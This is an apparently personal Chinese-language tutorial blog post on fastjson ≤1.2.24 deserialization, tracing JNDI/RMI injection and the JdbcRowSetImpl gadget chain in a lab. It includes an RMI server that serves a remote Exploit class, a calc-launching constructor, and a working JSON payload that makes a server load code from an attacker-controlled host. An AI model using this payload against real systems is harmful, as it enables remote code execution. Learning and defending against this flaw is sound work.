前言

最近看到网上有新出的fastjson反序列化利用,就好奇的琢磨了一下,查了一些资料然后整理出来,有不正确的地方还望指正。

反序列化的利用本质:找到一条有效的攻击链,攻击链的末端就是有代码执行能力的类,来达到我们想做的事情,一般都是用来RCE(远程命令执行)。

构造一个触发器,也就是通过什么方式来让攻击链执行你想要的代码。触发器可以通过很多方式,比如静态代码块、构造方法等等。

fastjson是阿里巴巴开源的一款很优秀的JSON库。

JSON是一种用于交换的数据格式,可以在不同平台、不同语言之间传递数据,类似的还有XML。既然要传递,就涉及到序列化(将不同语言的对象转成json字符串)和反序列化(将json字符串还原成程序所需的对象)。

fastjson的简单用法

谈漏洞利用之前先简单的体验一下fastjson的用法。

# 先定义一个待序列化的User类:
package serialize;
public class User {
private String username;
private String password;
public User() {};
public User(String username,String password){
this.username = username;
this.password = password;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
@Override
public String toString() {
return "User [username=" + username + ", password=" + password + "]";
}
}
#序列化与反序列化操作
package serialize;
import com.alibaba.fastjson.JSON;
public class FastjsonDemo {
public static void main(String[] args) {
User user = new User("zhousl", "123456");
String UserJson = JSON.toJSONString(user);
System.out.println("序列化后的json字符:"+UserJson);
User user1 = JSON.parseObject(UserJson, User.class);
System.out.println("反序列化后的对象:"+user1.getClass().getName());
System.out.println("反序列化后的对象:"+user1.getUsername()+ " "+user1.getPassword());
}
}
输出:
序列化后的json字符:{"password":"123456","username":"zhousl"}
反序列化后的对象:serialize.User
反序列化后的对象:zhousl 123456
通过JSON的toJSONString()方法将对象进行序列化,可以在在对象中指定哪些实例属性是需要被序列化的,以及序列化以后属性的顺序。
通过JSON的parseObject()方法将JSON字符串反序列化成对象,可以直接作为原始类的实例来接收,也可以使用Object。还有parseArray()以及parse()反序列化方法,道理都差不多,只是解析出来的数据类型不一样。
本地模拟反序列化的利用
前面说完了基本用法,只靠着前面那点东西是肯定实现不了反序列化利用的,因为你控制不了服务端会用把你传过去内容当成什么类型来解析,所以这里再引入一个@type。
看一段代码:
String UserJson = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println("序列化后的json字符:"+UserJson)
在上面提到的序列化的过程中加入了第二个参数,看参数名就知道是要在结果中写入被序列化的类的名字,看下序列化的结果:
序列化后的json字符:{"@type":"serialize.User","password":"123456","username":"zhousl"}
@type的值是序列化出来的类的名字,同理在反序列化的时候就会去解析这个type,即通过type执行了反序列化的类型,这就是我们可以利用的,这里是必要的第一步。
知道了这个第一步,就可以在本地模拟一个反序列化利用的过程:
package serialize;
import java.io.IOException;
import com.alibaba.fastjson.JSON;
class T1{
public T1() throws IOException{
Runtime.getRuntime().exec("calc");
}
}
public class Test {
public static void main(String[] args) {
Object object = JSON.parseObject("{\"@type\": \"serialize.T1\"}");
System.out.println(object);
}
}
这里直接给parseObject指定了一个JSON字符串,并且通过@type指定了当做T1类来解析。在T1类中写了一个无参构造方法,方法中通过exec执行了外部命令计算器,效果如图:
当然这只是本地演示,实际的开发中肯定不会有人在服务端写这么个直接执行系统命令的代码让你随便使。要知道我们通过序列号传递到服务端的只是“键值对”,也就是数据,具体的数据要怎么来解析还是得反序列化的服务端来实现。
什么是JNDI?
说完了fastjson的简单使用,再来说说什么是JNDI。
JDNI是有sun提出的一个规范,全称是“命名和目录提供程序”(Naming and Directory Providers),用来解耦应用,让整个程序更便于扩展、部署以及应用。例如程序中可能会用到JDBC来操作数据库,由于数据库的配置是可能频繁变更的,就可以通过JDNI的方式把JDBC的配置从程序中解耦出来,当然这只是一个很小的一方面。
JDNI底层可以驱动一系列的远程对象,例如RMI、LDAP等等,具体见下图(侵删):
Naming Manger用于维护Naming和Directory的context objects对象以及对应的引用,可以通过Registry.bind()方法来创建,可以简单理解成有一对键值,键是“别名”,值是具体对应的“对象”,可以通过这个别名来找到这个对象,这个“对象”可以直接是一个引用对象,例如自定义的类实例,也可以是一个Naming Reference。Naming Reference可以指定一个外部的远程对象,是很重要的一个功能。
什么是RMI?
RMI(Remote Method Invocation)远程方法调用,是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。
1、运行了RMI的一端可以被称为“RMIServer”,用来提供可被远程调用的方法,这个过程称为“注册”,一般实现为(192.168.76.133):
//JNDIServer.java
//在本机1099端口开启rmi registry。Registry registry = LocateRegistry.createRegistry(1099);
//配置一个reference//第一个参数是className//第二个参数指定 Object Factory的类名,第三个参数是codebase,如果Object Factory在classpath 里面找不到则去codebase下载。//Object Factory类指定需要注意包路径,根据你的实际情况决定是否需要添加包名前缀。Reference reference = new Reference("Exploit", "serialize.Exploit","http://192.168.76.133/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
//绑定远程对像到Exploit,实际上就是给Hashtable里面put这个key和value。registry.bind("Exploit",referenceWrapper);
reference的功能已经在前面简单的介绍过,做为一个外部远程对象,目的是让客户端来获取RMI Server上的引用对象,指定了codebase也就是远程的地址,以及要获取的factory类名,剩下的就是等客户端来主动请求。
请求的方式是通过http,就需要在192.168.76.133上运行http服务,并把已经编译好的serialize.Exploit.class放到响应的目录供客户端获取。具体的Exploit里面要放些什么后面会涉及到。
这里就体现了RMI的核心,RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class。
2、运行了looup()方法的一端可以被称为 "RMIClient",根据RMI请求返回的结果来再次通过http获取所需的factory类并进行实例化,下面是一个本地模拟的实现(192.168.76.1):
// Test.java
//设置系统静态属性,指定上下文环境的FACTORY为rmi,从而替换掉默认的URL来指向我自定义的地址。//也可以通过创建一个HashTable来指定下面这两个键值,然后传给InitialContextSystem.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
//指定rmi远程地址System.setProperty(Context.PROVIDER_URL,"rmi://192.168.76.133:1099");
//初始化JDNI服务入口Context ctx = new InitialContext();
//通过名字检索远程对象Object obj = ctx.lookup("Exploit");
模拟JNDI注入
上面已经简单实现了一个服务端提供RMI,一个客户端来请求服务器,剩下的就是实现那个最重要的Exploit:
//Exploit.java
public class Exploit {
public Exploit() throws IOException{
//直接在构造方法中运行计算器 Runtime.getRuntime().exec("calc");
}
}

编译成class,然后放到192.168.76.133/serialize目录下(因为我这里Exploit是在serialize包里面),同时运行JNDIServer注册RMI服务,最后在192.168.76.1上运行Test。

运行结果:

抓包:

可以看到192.168.76.1先对192.168.76.133发起RMI请求,然后又发起了HTTP请求,请求的是/serialize/Exploit.class,然后执行了Exploit构造方法。

大致的交互过程:

稍微总结一下就是,如果要成功利用这个looup()来做一些事,就必须要以下条件:

1、lookup()的参数是我们能控制的;

2、远程URL是我们能控制的;

JdbcRowSetImpl利用链

上面简单的讲完了JNDI注入的方式,但是问题来了,RMIClient的代码都是我自己臆想的,什么地方提供了lookup()方法并且可以自定义rmi的URL呢?

这里就引出了利用链,可以理解成经过一系列的调用最终能执行lookup()并且传入了我们指定的URL,同时存在利用链的地方应该是JDK默认内置的库,或者很知名的很常见的库,因为这些更大的可能性会内置在目标应用当中,如果是个人开发的或者没多少人用的库就算存在利用链也没什么用,压根就没有用武之地。

这里要介绍的是JdbcRowSetImpl的利用链,是由@matthias_kaiser在2016年发现的,我这里只是简单的再根据自己的理解复述一下。

分析过程:

1、找到JdbcRowSetImpl中调用了lookup()方法的函数;

在com.sun.rowset.JdbcRowSetImpl.class中的connect()中调用了looup(),并且looup的参数是通过getDataSourceName()方法获取到的,这一点很关键,需要确认这个get的结果是否是我们可控的。

1.1、确认getDataSourceName()方法的传值;

javadoc里面写明了DataSource是通过setDataSourceName来设置的,也就是dataSource属性的set和get方法;

至于怎么样来调用set方法,后面会提到。

2、找到调用connect()方法的函数;

有三个方法中都调用了这个connect(),那么就需要一个一个的筛选,看看那些是我们能利用的。

3、分别分析这三个方法;

3.1、prepare()方法:

execute()->prepare()->connect(),也就是得执行excute()方法才会执行到connect(),这个execute应该是用来执行sql查询的:

3.1、getDatabaseMetaData()方法:

只是用来获取databaseMetaData,没找到对应的set方法,只有get方法的话这里就没办法利用了。

3.2、setAutoCommit()方法:

用来设置autoCommit属性的值,传值是一个boolean。autoCommit属性使用了set和get方法:

这个set方法很重要,只要能设置autoCommit就能调用set方法,而setAutoCommit()方法里面又调用了connect(),connent里面就有我们需要的lookup()。

≤1.2.24 版本的fastjson结合JdbcRowSetImpl利用链

前面已经简单的介绍了JdbcRowSetImpl利用链,重点在于如何调用autoCommit的set方法,这一点正好结合fastjson的功能,再来回顾一下最前面提到的fastjson的简单操作:

package serialize;
import com.alibaba.fastjson.JSON;
class User1 {
private String username;
public User1() {
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
}
public class FastjsonDemo1 {
public static void main(String[] args) {
String Userzhousl = "{\"@type\":\"serialize.User1\",\"username\":\"zhousl\"}";
User1 user1 = JSON.parseObject(Userzhousl, User1.class);
System.out.println("反序列化后的对象:"+user1.getUsername());
}
}
fastjson在反序列化的时候会对json字符串指定的属性调用对应的set方法,例如这里我设置了username为zhousl,那么反序列化的时候就会自动调用setUsername方法,然后通过@type指定要当做哪个类来解析,这个过程就构成了我们能操作利用JdbcRowSetImpl的攻击链:
1、目前是驱动JdbcRowSetImpl库;
2、通过设置dataSourceName属性传参给lookup()方法;
2、通过设置autoCommit属性来触发执行最终的lookup()方法。
按照上面的例子,就可以构造出:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.76.133:1099/Exploit","autoCommit":true}

这里要注意几点:

1、dataSourceName 需要放在autoCommit的前面,因为反序列化的时候是按先后顺序来set属性的,需要先setDataSourceName,然后再setAutoCommit,具体可以见源代码;

2、rmi的url后面跟上要获取的我们远程factory类名,因为在lookup()里面会提取路径下的名字作为要获取的类:

测试结果(本机是192.168.76.1,在192.168.76.133上运行rmi和http,然后把Exploit.class放到serialize目录,环境在最前面已经讲过):

后记

整个过程废话比较多,我是一个菜鸟,网上看了很多篇文章然后折腾了三天才琢磨清楚和写完,希望对想了解的人有点帮助~

说道最后还是只是讲了之前版本的fastjson的反序列化利用,写不动了,歇歇。